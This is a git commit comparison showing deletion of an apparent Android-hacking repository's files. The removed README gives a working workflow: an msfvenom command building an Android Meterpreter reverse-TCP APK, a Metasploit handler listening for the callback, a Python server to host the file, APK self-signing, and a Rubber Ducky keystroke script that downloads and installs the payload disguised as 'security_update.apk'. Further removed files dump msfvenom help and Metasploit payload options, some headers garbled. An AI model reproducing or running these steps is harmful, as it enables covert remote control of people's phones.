Compare commits
1 Commits
main
..
4c0f846ffb
| Author | SHA1 | Date | |
|---|---|---|---|
 PrincessPi
|
4c0f846ffb |
@@ -1,121 +0,0 @@
|
|||||||
Creative Commons Legal Code
|
|
||||||
|
|
||||||
CC0 1.0 Universal
|
|
||||||
|
|
||||||
CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE
|
|
||||||
LEGAL SERVICES. DISTRIBUTION OF THIS DOCUMENT DOES NOT CREATE AN
|
|
||||||
ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS
|
|
||||||
INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES
|
|
||||||
REGARDING THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS
|
|
||||||
PROVIDED HEREUNDER, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM
|
|
||||||
THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS PROVIDED
|
|
||||||
HEREUNDER.
|
|
||||||
|
|
||||||
Statement of Purpose
|
|
||||||
|
|
||||||
The laws of most jurisdictions throughout the world automatically confer
|
|
||||||
exclusive Copyright and Related Rights (defined below) upon the creator
|
|
||||||
and subsequent owner(s) (each and all, an "owner") of an original work of
|
|
||||||
authorship and/or a database (each, a "Work").
|
|
||||||
|
|
||||||
Certain owners wish to permanently relinquish those rights to a Work for
|
|
||||||
the purpose of contributing to a commons of creative, cultural and
|
|
||||||
scientific works ("Commons") that the public can reliably and without fear
|
|
||||||
of later claims of infringement build upon, modify, incorporate in other
|
|
||||||
works, reuse and redistribute as freely as possible in any form whatsoever
|
|
||||||
and for any purposes, including without limitation commercial purposes.
|
|
||||||
These owners may contribute to the Commons to promote the ideal of a free
|
|
||||||
culture and the further production of creative, cultural and scientific
|
|
||||||
works, or to gain reputation or greater distribution for their Work in
|
|
||||||
part through the use and efforts of others.
|
|
||||||
|
|
||||||
For these and/or other purposes and motivations, and without any
|
|
||||||
expectation of additional consideration or compensation, the person
|
|
||||||
associating CC0 with a Work (the "Affirmer"), to the extent that he or she
|
|
||||||
is an owner of Copyright and Related Rights in the Work, voluntarily
|
|
||||||
elects to apply CC0 to the Work and publicly distribute the Work under its
|
|
||||||
terms, with knowledge of his or her Copyright and Related Rights in the
|
|
||||||
Work and the meaning and intended legal effect of CC0 on those rights.
|
|
||||||
|
|
||||||
1. Copyright and Related Rights. A Work made available under CC0 may be
|
|
||||||
protected by copyright and related or neighboring rights ("Copyright and
|
|
||||||
Related Rights"). Copyright and Related Rights include, but are not
|
|
||||||
limited to, the following:
|
|
||||||
|
|
||||||
i. the right to reproduce, adapt, distribute, perform, display,
|
|
||||||
communicate, and translate a Work;
|
|
||||||
ii. moral rights retained by the original author(s) and/or performer(s);
|
|
||||||
iii. publicity and privacy rights pertaining to a person's image or
|
|
||||||
likeness depicted in a Work;
|
|
||||||
iv. rights protecting against unfair competition in regards to a Work,
|
|
||||||
subject to the limitations in paragraph 4(a), below;
|
|
||||||
v. rights protecting the extraction, dissemination, use and reuse of data
|
|
||||||
in a Work;
|
|
||||||
vi. database rights (such as those arising under Directive 96/9/EC of the
|
|
||||||
European Parliament and of the Council of 11 March 1996 on the legal
|
|
||||||
protection of databases, and under any national implementation
|
|
||||||
thereof, including any amended or successor version of such
|
|
||||||
directive); and
|
|
||||||
vii. other similar, equivalent or corresponding rights throughout the
|
|
||||||
world based on applicable law or treaty, and any national
|
|
||||||
implementations thereof.
|
|
||||||
|
|
||||||
2. Waiver. To the greatest extent permitted by, but not in contravention
|
|
||||||
of, applicable law, Affirmer hereby overtly, fully, permanently,
|
|
||||||
irrevocably and unconditionally waives, abandons, and surrenders all of
|
|
||||||
Affirmer's Copyright and Related Rights and associated claims and causes
|
|
||||||
of action, whether now known or unknown (including existing as well as
|
|
||||||
future claims and causes of action), in the Work (i) in all territories
|
|
||||||
worldwide, (ii) for the maximum duration provided by applicable law or
|
|
||||||
treaty (including future time extensions), (iii) in any current or future
|
|
||||||
medium and for any number of copies, and (iv) for any purpose whatsoever,
|
|
||||||
including without limitation commercial, advertising or promotional
|
|
||||||
purposes (the "Waiver"). Affirmer makes the Waiver for the benefit of each
|
|
||||||
member of the public at large and to the detriment of Affirmer's heirs and
|
|
||||||
successors, fully intending that such Waiver shall not be subject to
|
|
||||||
revocation, rescission, cancellation, termination, or any other legal or
|
|
||||||
equitable action to disrupt the quiet enjoyment of the Work by the public
|
|
||||||
as contemplated by Affirmer's express Statement of Purpose.
|
|
||||||
|
|
||||||
3. Public License Fallback. Should any part of the Waiver for any reason
|
|
||||||
be judged legally invalid or ineffective under applicable law, then the
|
|
||||||
Waiver shall be preserved to the maximum extent permitted taking into
|
|
||||||
account Affirmer's express Statement of Purpose. In addition, to the
|
|
||||||
extent the Waiver is so judged Affirmer hereby grants to each affected
|
|
||||||
person a royalty-free, non transferable, non sublicensable, non exclusive,
|
|
||||||
irrevocable and unconditional license to exercise Affirmer's Copyright and
|
|
||||||
Related Rights in the Work (i) in all territories worldwide, (ii) for the
|
|
||||||
maximum duration provided by applicable law or treaty (including future
|
|
||||||
time extensions), (iii) in any current or future medium and for any number
|
|
||||||
of copies, and (iv) for any purpose whatsoever, including without
|
|
||||||
limitation commercial, advertising or promotional purposes (the
|
|
||||||
"License"). The License shall be deemed effective as of the date CC0 was
|
|
||||||
applied by Affirmer to the Work. Should any part of the License for any
|
|
||||||
reason be judged legally invalid or ineffective under applicable law, such
|
|
||||||
partial invalidity or ineffectiveness shall not invalidate the remainder
|
|
||||||
of the License, and in such case Affirmer hereby affirms that he or she
|
|
||||||
will not (i) exercise any of his or her remaining Copyright and Related
|
|
||||||
Rights in the Work or (ii) assert any associated claims and causes of
|
|
||||||
action with respect to the Work, in either case contrary to Affirmer's
|
|
||||||
express Statement of Purpose.
|
|
||||||
|
|
||||||
4. Limitations and Disclaimers.
|
|
||||||
|
|
||||||
a. No trademark or patent rights held by Affirmer are waived, abandoned,
|
|
||||||
surrendered, licensed or otherwise affected by this document.
|
|
||||||
b. Affirmer offers the Work as-is and makes no representations or
|
|
||||||
warranties of any kind concerning the Work, express, implied,
|
|
||||||
statutory or otherwise, including without limitation warranties of
|
|
||||||
title, merchantability, fitness for a particular purpose, non
|
|
||||||
infringement, or the absence of latent or other defects, accuracy, or
|
|
||||||
the present or absence of errors, whether or not discoverable, all to
|
|
||||||
the greatest extent permissible under applicable law.
|
|
||||||
c. Affirmer disclaims responsibility for clearing rights of other persons
|
|
||||||
that may apply to the Work or any use thereof, including without
|
|
||||||
limitation any person's Copyright and Related Rights in the Work.
|
|
||||||
Further, Affirmer disclaims responsibility for obtaining any necessary
|
|
||||||
consents, permissions or other rights required for any use of the
|
|
||||||
Work.
|
|
||||||
d. Affirmer understands and acknowledges that Creative Commons is not a
|
|
||||||
party to this document and has no duty or obligation with respect to
|
|
||||||
this CC0 or use of the Work.
|
|
||||||
@@ -1,13 +0,0 @@
|
|||||||
* [ROBTRT421/apk.android.meterpreter.msfvenom](https://github.com/ROBTRT421/apk.android.meterpreter.msfvenom)
|
|
||||||
* [AzeemIdrisi/PhoneSploit-Pro](https://github.com/AzeemIdrisi/PhoneSploit-Pro)
|
|
||||||
* [apksigner](https://developer.android.com/tools/apksigner)
|
|
||||||
* [App Signing](https://developer.android.com/studio/publish/app-signing#generate-key)
|
|
||||||
* [Android Studio](https://developer.android.com/studio)
|
|
||||||
* [msfvenom docs](https://www.offsec.com/metasploit-unleashed/msfvenom/)
|
|
||||||
* [Meterpreter on Android Blog Post](https://medium.com/@S3Curiosity/exploring-the-power-of-msfvenom-for-android-meterpreter-in-ethical-hacking-8c6b54bc66ad)
|
|
||||||
* [David Bombal's Rubber Ducky Meterpreter Payload](https://github.com/davidbombal/hak5/blob/main/omg_android9SGS8_meterpreter)
|
|
||||||
* [APK Install Rubber Ducky Payload](https://payloadhub.com/blogs/payloads/android-meterpreter-apk-install)
|
|
||||||
* [o.mg cable meterpreter android (youtube)](https://www.youtube.com/watch?v=LRVlaNfthbg)
|
|
||||||
* [o.mg android payloads](https://github.com/hak5/omg-payloads/tree/master/payloads/library/mobile/android)
|
|
||||||
* [o.mg android meterpreter payloads](https://github.com/hak5/omg-payloads/tree/master/payloads/library/mobile/android/meterpreter)
|
|
||||||
* [Tutorial on android meterpreter](https://samsclass.info/128/proj/M410a.htm)
|
|
||||||
@@ -1,73 +1,2 @@
|
|||||||
# Android Hackfuckin
|
# android-hackhackin
|
||||||
## Meterpreter
|
|
||||||
`msfvenom --payload android/meterpreter_reverse_tcp LHOST=10.0.0.51 LPORT=443 R > rawdoggin_output.apk`
|
|
||||||
|
|
||||||
## Msfconsole
|
|
||||||
```
|
|
||||||
sudo msfconsole -q
|
|
||||||
msf > use exploit/multi/handler
|
|
||||||
msf exploit(handler) > set payload android/meterpreter_reverse_tcp
|
|
||||||
msf exploit(handler) > set lhost 10.0.0.51
|
|
||||||
msf exploit(handler) > set lport 443
|
|
||||||
msf exploit(handler) > exploit -j
|
|
||||||
```
|
|
||||||
|
|
||||||
## Python Shitfuckery
|
|
||||||
`python -m http.server 8787`
|
|
||||||
|
|
||||||
## Self Sign an apk
|
|
||||||
### Install tools
|
|
||||||
1. `sudo apt update`
|
|
||||||
2. `sudo apt install apktool gnupg2 android-tools-adb default-jdk -y`
|
|
||||||
### Create Signing Key
|
|
||||||
* `keytool -genkey -v -keystore android.keystore -alias android -keyalg RSA -keysize 2048 -validity 10000`
|
|
||||||
### Sign Apk
|
|
||||||
* `jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore android.keystore my_app.apk android`
|
|
||||||
|
|
||||||
|
|
||||||
## Some Shit
|
|
||||||
```
|
|
||||||
TAB
|
|
||||||
DELAY 250
|
|
||||||
GUI b
|
|
||||||
DELAY 800
|
|
||||||
CTRL SHIFT n
|
|
||||||
DELAY 500
|
|
||||||
CTRL l
|
|
||||||
DELAY 1000
|
|
||||||
STRING 192.168.4.4:9002/security_update.apk
|
|
||||||
ENTER
|
|
||||||
DELAY 7000
|
|
||||||
TAB
|
|
||||||
TAB
|
|
||||||
DOWN
|
|
||||||
RIGHT
|
|
||||||
ENTER
|
|
||||||
DELAY 1000
|
|
||||||
TAB
|
|
||||||
ENTER
|
|
||||||
TAB
|
|
||||||
TAB
|
|
||||||
RIGHT
|
|
||||||
ENTER
|
|
||||||
TAB
|
|
||||||
ENTER
|
|
||||||
TAB
|
|
||||||
ENTER
|
|
||||||
DELAY 2000
|
|
||||||
TAB
|
|
||||||
ENTER
|
|
||||||
TAB
|
|
||||||
TAB
|
|
||||||
TAB
|
|
||||||
TAB
|
|
||||||
TAB
|
|
||||||
TAB
|
|
||||||
TAB
|
|
||||||
TAB
|
|
||||||
DELAY 350
|
|
||||||
TAB
|
|
||||||
ENTER
|
|
||||||
DELAY 350
|
|
||||||
ENTER
|
|
||||||
```
|
|
||||||
|
|||||||
-1922
File diff suppressed because it is too large
Load Diff
@@ -1,42 +0,0 @@
|
|||||||
|
|
||||||
Framework Architectures [--arch <value>]
|
|
||||||
========================================
|
|
||||||
|
|
||||||
Name
|
|
||||||
----
|
|
||||||
aarch64
|
|
||||||
armbe
|
|
||||||
armle
|
|
||||||
cbea
|
|
||||||
cbea64
|
|
||||||
cmd
|
|
||||||
dalvik
|
|
||||||
firefox
|
|
||||||
java
|
|
||||||
loongarch64
|
|
||||||
mips
|
|
||||||
mips64
|
|
||||||
mips64le
|
|
||||||
mipsbe
|
|
||||||
mipsle
|
|
||||||
nodejs
|
|
||||||
php
|
|
||||||
ppc
|
|
||||||
ppc64
|
|
||||||
ppc64le
|
|
||||||
ppce500v2
|
|
||||||
python
|
|
||||||
r
|
|
||||||
riscv32be
|
|
||||||
riscv32le
|
|
||||||
riscv64be
|
|
||||||
riscv64le
|
|
||||||
ruby
|
|
||||||
sparc
|
|
||||||
sparc64
|
|
||||||
tty
|
|
||||||
x64
|
|
||||||
x86
|
|
||||||
x86_64
|
|
||||||
zarch
|
|
||||||
|
|
||||||
@@ -1,11 +0,0 @@
|
|||||||
|
|
||||||
Framework Encryption Formats [--encrypt <value>]
|
|
||||||
================================================
|
|
||||||
|
|
||||||
Name
|
|
||||||
----
|
|
||||||
aes256
|
|
||||||
base64
|
|
||||||
rc4
|
|
||||||
xor
|
|
||||||
|
|
||||||
@@ -1,76 +0,0 @@
|
|||||||
|
|
||||||
Framework Executable Formats [--format <value>]
|
|
||||||
===============================================
|
|
||||||
|
|
||||||
Name
|
|
||||||
----
|
|
||||||
asp
|
|
||||||
aspx
|
|
||||||
aspx-exe
|
|
||||||
axis2
|
|
||||||
dll
|
|
||||||
ducky-script-psh
|
|
||||||
elf
|
|
||||||
elf-so
|
|
||||||
exe
|
|
||||||
exe-only
|
|
||||||
exe-service
|
|
||||||
exe-small
|
|
||||||
hta-psh
|
|
||||||
jar
|
|
||||||
jsp
|
|
||||||
loop-vbs
|
|
||||||
macho
|
|
||||||
msi
|
|
||||||
msi-nouac
|
|
||||||
osx-app
|
|
||||||
psh
|
|
||||||
psh-cmd
|
|
||||||
psh-net
|
|
||||||
psh-reflection
|
|
||||||
python-reflection
|
|
||||||
vba
|
|
||||||
vba-exe
|
|
||||||
vba-psh
|
|
||||||
vbs
|
|
||||||
war
|
|
||||||
|
|
||||||
Framework Transform Formats [--format <value>]
|
|
||||||
==============================================
|
|
||||||
|
|
||||||
Name
|
|
||||||
----
|
|
||||||
base32
|
|
||||||
base64
|
|
||||||
bash
|
|
||||||
c
|
|
||||||
csharp
|
|
||||||
dw
|
|
||||||
dword
|
|
||||||
go
|
|
||||||
golang
|
|
||||||
hex
|
|
||||||
java
|
|
||||||
js_be
|
|
||||||
js_le
|
|
||||||
masm
|
|
||||||
nim
|
|
||||||
nimlang
|
|
||||||
num
|
|
||||||
octal
|
|
||||||
perl
|
|
||||||
pl
|
|
||||||
powershell
|
|
||||||
ps1
|
|
||||||
py
|
|
||||||
python
|
|
||||||
raw
|
|
||||||
rb
|
|
||||||
ruby
|
|
||||||
rust
|
|
||||||
rustlang
|
|
||||||
sh
|
|
||||||
vbapplication
|
|
||||||
vbscript
|
|
||||||
zig
|
|
||||||
|
|
||||||
@@ -1,32 +0,0 @@
|
|||||||
MsfVenom - a Metasploit standalone payload generator.
|
|
||||||
Also a replacement for msfpayload and msfencode.
|
|
||||||
Usage: /usr/bin/msfvenom [options] <var=val>
|
|
||||||
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe
|
|
||||||
|
|
||||||
Options:
|
|
||||||
-l, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
|
|
||||||
-p, --payload <payload> Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
|
|
||||||
--list-options List --payload <value>'s standard, advanced and evasion options
|
|
||||||
-f, --format <format> Output format (use --list formats to list)
|
|
||||||
-e, --encoder <encoder> The encoder to use (use --list encoders to list)
|
|
||||||
--service-name <value> The service name to use when generating a service binary
|
|
||||||
--sec-name <value> The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
|
|
||||||
--smallest Generate the smallest possible payload using all available encoders
|
|
||||||
--encrypt <value> The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
|
|
||||||
--encrypt-key <value> A key to be used for --encrypt
|
|
||||||
--encrypt-iv <value> An initialization vector for --encrypt
|
|
||||||
-a, --arch <arch> The architecture to use for --payload and --encoders (use --list archs to list)
|
|
||||||
--platform <platform> The platform for --payload (use --list platforms to list)
|
|
||||||
-o, --out <path> Save the payload to a file
|
|
||||||
-b, --bad-chars <list> Characters to avoid example: '\x00\xff'
|
|
||||||
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
|
|
||||||
--pad-nops Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
|
|
||||||
-s, --space <length> The maximum size of the resulting payload
|
|
||||||
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
|
|
||||||
-i, --iterations <count> The number of times to encode the payload
|
|
||||||
-c, --add-code <path> Specify an additional win32 shellcode file to include
|
|
||||||
-x, --template <path> Specify a custom executable file to use as a template
|
|
||||||
-k, --keep Preserve the --template behaviour and inject the payload as a new thread
|
|
||||||
-v, --var-name <value> Specify a custom variable name to use for certain output formats
|
|
||||||
-t, --timeout <second> The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
|
|
||||||
-h, --help Show this message
|
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
|
|
||||||
Framework NOPs (13 total)
|
|
||||||
=========================
|
|
||||||
|
|
||||||
Name Description
|
|
||||||
---- -----------
|
|
||||||
aarch64/simple Simple NOP generator
|
|
||||||
armle/simple Simple NOP generator
|
|
||||||
cmd/generic Generates harmless padding for command payloads.
|
|
||||||
mipsbe/better Better NOP generator
|
|
||||||
php/generic Generates harmless padding for PHP scripts
|
|
||||||
ppc/simple Simple NOP generator
|
|
||||||
riscv32le/simple Simple NOP generator
|
|
||||||
riscv64le/simple Simple NOP generator
|
|
||||||
sparc/random SPARC NOP generator
|
|
||||||
tty/generic Generates harmless padding for TTY input
|
|
||||||
x64/simple An x64 single/multi byte NOP instruction generator.
|
|
||||||
x86/opty2 Opty2 multi-byte NOP generator
|
|
||||||
x86/single_byte Single-byte NOP generator
|
|
||||||
|
|
||||||
@@ -1,32 +0,0 @@
|
|||||||
|
|
||||||
Name: AIX Command Shell, Bind TCP Inline
|
|
||||||
Module: payload/aix/ppc/shell_bind_tcp
|
|
||||||
Platform: AIX
|
|
||||||
Arch: ppc
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 264
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Ramon de C Valle <rcvalle@metasploit.com>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AIX 6.1.4 yes IBM AIX Version
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
RHOST no The target address
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Listen for a connection and spawn a command shell
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,31 +0,0 @@
|
|||||||
|
|
||||||
Name: AIX Command Shell, Find Port Inline
|
|
||||||
Module: payload/aix/ppc/shell_find_port
|
|
||||||
Platform: AIX
|
|
||||||
Arch: ppc
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 220
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Ramon de C Valle <rcvalle@metasploit.com>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AIX 6.1.4 yes IBM AIX Version
|
|
||||||
CPORT 64342 no The local client port
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Spawn a shell on an established connection
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,30 +0,0 @@
|
|||||||
|
|
||||||
Name: AIX execve Shell for inetd
|
|
||||||
Module: payload/aix/ppc/shell_interact
|
|
||||||
Platform: AIX
|
|
||||||
Arch: ppc
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 56
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
jduck <jduck@metasploit.com>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AIX 6.1.4 yes IBM AIX Version
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Simply execve /bin/sh (for inetd programs)
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,39 +0,0 @@
|
|||||||
|
|
||||||
Name: AIX Command Shell, Reverse TCP Inline
|
|
||||||
Module: payload/aix/ppc/shell_reverse_tcp
|
|
||||||
Platform: AIX
|
|
||||||
Arch: ppc
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 204
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Ramon de C Valle <rcvalle@metasploit.com>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AIX 6.1.4 yes IBM AIX Version
|
|
||||||
LHOST yes The listen address (an interface may be specified)
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Connect back to attacker and spawn a command shell
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
|
|
||||||
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
|
|
||||||
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,74 +0,0 @@
|
|||||||
|
|
||||||
Name: Android Meterpreter, Android Reverse HTTP Stager
|
|
||||||
Module: payload/android/meterpreter/reverse_http
|
|
||||||
Platform: Android
|
|
||||||
Arch: dalvik
|
|
||||||
Needs Admin: N
|
|
||||||
Evasion options for payload/android/meterpreter/reverse_http:
|
|
||||||
=========================
|
|
||||||
|
|
||||||
t.com>
|
|
||||||
OJ Reeves
|
|
||||||
anwarelmakrahy
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
LHOST yes The local listener hostname
|
|
||||||
LPORT 8080 yes The local listener port
|
|
||||||
LURI no The HTTP Path
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Run a meterpreter server in Android.
|
|
||||||
|
|
||||||
Tunnel communication over HTTP
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AndroidHideAppIcon false no Hide the application icon automatically after launch
|
|
||||||
AndroidMeterpreterDebug false no Run the payload in debug mode, with logging enabled
|
|
||||||
AndroidWakelock true no Acquire a wakelock before starting the payload
|
|
||||||
AutoLoadStdapi true yes Automatically load the Stdapi extension
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoSystemInfo true yes Automatically capture system information on initialization.
|
|
||||||
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
|
|
||||||
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
|
|
||||||
EnableStageEncoding false no Encode the second stage payload
|
|
||||||
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
|
|
||||||
HttpCookie no An optional value to use for the Cookie HTTP header
|
|
||||||
HttpHostHeader no An optional value to use for the Host HTTP header
|
|
||||||
HttpReferer no An optional value to use for the Referer HTTP header
|
|
||||||
HttpServerName Apache no The server header that the handler will send in response to requests
|
|
||||||
HttpUnknownRequestResponse <html><body><h1>It works!</h1></body></html> no The returned HTML response body when the handler receives a request that is not from a payload
|
|
||||||
HttpUserAgent Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 no The user-agent that the payload should use for communication Max parameter length: 255 characters
|
|
||||||
IgnoreUnknownPayloads false no Whether to drop connections from payloads using unknown UUIDs
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MeterpreterDebugBuild false no Use a debug version of Meterpreter
|
|
||||||
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
|
|
||||||
OverrideLHOST no When OverrideRequestHost is set, use this value as the host name for secondary requests
|
|
||||||
OverrideLPORT no When OverrideRequestHost is set, use this value as the port number for secondary requests
|
|
||||||
OverrideRequestHost false no Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT
|
|
||||||
OverrideScheme no When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https
|
|
||||||
PayloadProcessCommandLine no The displayed command line that will be used by the payload
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
|
|
||||||
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
|
|
||||||
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
|
|
||||||
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
|
|
||||||
StageEncoder no Encoder to use if EnableStageEncoding is set
|
|
||||||
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
|
|
||||||
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,76 +0,0 @@
|
|||||||
|
|
||||||
Name: Android Meterpreter, Android Reverse HTTPS Stager
|
|
||||||
Module: payload/android/meterpreter/reverse_https
|
|
||||||
Platform: Android
|
|
||||||
Arch: dalvik
|
|
||||||
Needs Admin: N
|
|
||||||
Evasion options for payload/android/meterpreter/reverse_https:
|
|
||||||
=========================
|
|
||||||
|
|
||||||
.com>
|
|
||||||
OJ Reeves
|
|
||||||
anwarelmakrahy
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
LHOST yes The local listener hostname
|
|
||||||
LPORT 8443 yes The local listener port
|
|
||||||
LURI no The HTTP Path
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Run a meterpreter server in Android.
|
|
||||||
|
|
||||||
Tunnel communication over HTTPS
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AndroidHideAppIcon false no Hide the application icon automatically after launch
|
|
||||||
AndroidMeterpreterDebug false no Run the payload in debug mode, with logging enabled
|
|
||||||
AndroidWakelock true no Acquire a wakelock before starting the payload
|
|
||||||
AutoLoadStdapi true yes Automatically load the Stdapi extension
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoSystemInfo true yes Automatically capture system information on initialization.
|
|
||||||
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
|
|
||||||
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
|
|
||||||
EnableStageEncoding false no Encode the second stage payload
|
|
||||||
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
|
|
||||||
HttpCookie no An optional value to use for the Cookie HTTP header
|
|
||||||
